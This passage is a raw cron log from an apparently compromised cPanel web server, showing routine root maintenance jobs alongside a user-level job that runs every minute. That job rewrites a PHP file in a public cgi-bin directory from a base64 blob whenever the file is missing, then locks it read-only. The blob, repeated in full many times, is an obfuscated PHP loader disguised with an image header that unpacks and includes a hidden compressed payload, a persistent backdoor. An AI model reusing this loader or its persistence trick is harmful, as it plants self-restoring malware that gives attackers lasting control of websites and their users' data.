SBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:21:01 server CROND[29458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:21:01 server CROND[29459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:22:01 server CROND[29840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:22:01 server CROND[29841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:22:01 server CROND[29842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:23:01 server CROND[30222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:23:01 server CROND[30224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:23:01 server CROND[30225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:24:01 server CROND[30690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:24:01 server CROND[30691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:24:01 server CROND[30692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:25:01 server CROND[31076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:25:01 server CROND[31078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:25:01 server CROND[31088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:25:01 server CROND[31089]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 14:25:01 server CROND[31090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:25:01 server CROND[31094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:25:01 server CROND[31093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:25:01 server CROND[31092]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:26:01 server CROND[31902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:26:01 server CROND[31903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:26:01 server CROND[31904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:27:01 server CROND[32273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:27:01 server CROND[32274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:27:01 server CROND[32275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:27:01 server CROND[32276]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 14:28:01 server CROND[32644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:28:01 server CROND[32645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:28:01 server CROND[32646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:29:01 server CROND[571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:29:01 server CROND[570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:29:01 server CROND[569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:30:01 server CROND[1128]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 14:30:01 server CROND[1130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:30:01 server CROND[1131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:30:01 server CROND[1129]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 14:30:01 server CROND[1136]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 14:30:01 server CROND[1135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 14:30:01 server CROND[1132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 14:30:01 server CROND[1134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:31:01 server CROND[2036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:31:01 server CROND[2035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:31:01 server CROND[2037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:32:01 server CROND[2408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:32:01 server CROND[2409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:32:01 server CROND[2410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:33:01 server CROND[2828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 14:33:01 server CROND[2829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 14:33:01 server CROND[2830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 14:34:01 server CROND[3200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
